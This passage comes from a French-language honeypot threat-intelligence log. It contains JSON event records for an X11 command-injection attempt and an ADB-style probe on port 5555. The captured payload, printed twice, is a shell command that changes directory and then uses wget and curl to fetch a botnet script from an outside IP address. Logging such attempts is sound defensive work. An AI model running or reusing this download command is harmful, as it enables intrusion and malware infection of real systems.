"persona_service_banner": "honeypot-x11",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/",
"port": 6001,
"service": "x11",
"service_label_fr": "X11"
},
"attack_vector": "cmd injection \u00b7 via X11:6001 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/shell?cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/31.77.227.104\/shitmloversishere.sh; curl -O http:\/",
"target_port_label": "6001 \u00b7 X11",
"emulator_service": "x11",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "x11",
"service_banner": "honeypot-x11",
"service_os": "linux",
"dst_port": "6001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"botnet_c2",
"net_botnet_attack"
]
}
20/07/2026 17:40:21 UTC
TCP
5555 · PERSONAL AGENT
Agent personnel
personal-agent · via PERSONAL AGENT:5555 · (sonde / probe)
Faible
Faible · 5
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
PERSONAL-AGENT
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
5555
Chemin / cible
—
Service
PERSONAL AGENT
Payload
CNXN M ����host::features=cmd,shell_v2
Pourquoi cette classification : Type « personal-agent » (signaux protocolaires) · confiance 50%
Confiance classification
50%
Confiance modérée — signal unique
Risque capteur
Faible
· 5
Confiance : Confiance 50 % — Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0771
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
CNXN M
����host::features=cmd,shell_v2
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "32323020686f6e6579706f7420706572736f6e616c5f6167656e7420726561647920706f72743d353535350d0a",
"emulator_response_len": 45,
"bytes_in": 51,
"payload_entropy": 4.504513130023709,
"port_category": "registered",
"org": "Banatsync Srl",
"service": "personal-agent",
"app_proto": "personal-agent",
"asn": 198364,
"country": "US",
"dst_port": 5555,
"risk_waf": 8,
"risk_classification": 0,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 22,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1,
"risk_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15
},
"risk_score": 5,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "888a6b39853f357075a34073a4e945bdda29b414",
"event_fingerprint": "d93c6d08fd760998a271a8a23a13788b18b2adca",
"classification_confidence": 0.5,
"confidence": 0.5,
"precision_signals": [
"pat-0771"
],
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15,
"risk_score": 5
},
"service_name": "personal-agent",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 198364,
"org": "Banatsync Srl",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "aa1e23931928902c46a015065df736ee",
"path_pattern_hash": "e3da19b853113b154539c506fed9fe37"
},
"target_context": {
"dst_port": 5555,
"service": "personal-agent",
"service_name": "personal-agent",
"risk_score": 5
},
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"request_sample": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"payload_snippet": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"evidence": {
"request_sample": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"payload_snippet": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "065ff10c7adb70d5a93e7f1d06656b9a22bc36ef",
"protocol_details": {
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"port": 5555,
"service": "personal-agent",
"service_label_fr": "PERSONAL AGENT"
},
"evidence_snippet": "CNXNM\n\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"attack_vector": "personal-agent \u00b7 via PERSONAL AGENT:5555 \u00b7 (sonde \/ probe)",
"target_port_label": "5555 \u00b7 PERSONAL AGENT",
"emulator_service": "personal-agent",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab personal-agent \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 50,
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 15,
"risk_score": 5
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 5,
"risk_label": "Faible",
"service_name": "personal-agent",
"service_label_fr": "PERSONAL AGENT",
"dst_port": 5555,
"protocol_emulated": true,
"tags_summary": [
"pat-0771"
],
"tags_summary_labels_fr": [
"pat-0771"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-personal-agent",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"port": 5555,
"service": "personal-agent",
"service_label_fr": "PERSONAL AGENT"
},
"attack_vector": "personal-agent \u00b7 via PERSONAL AGENT:5555 \u00b7 (sonde \/ probe)",
"evidence_snippet": "CNXNM\n\ufffd\ufffd\ufffd\ufffdhost::features=cmd,shell_v2",
"target_port_label": "5555 \u00b7 PERSONAL AGENT",
"emulator_service": "personal-agent",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 50 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "personal_agent",
"service_banner": "honeypot-personal-agent",
"service_os": "linux",
"dst_port": "5555"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}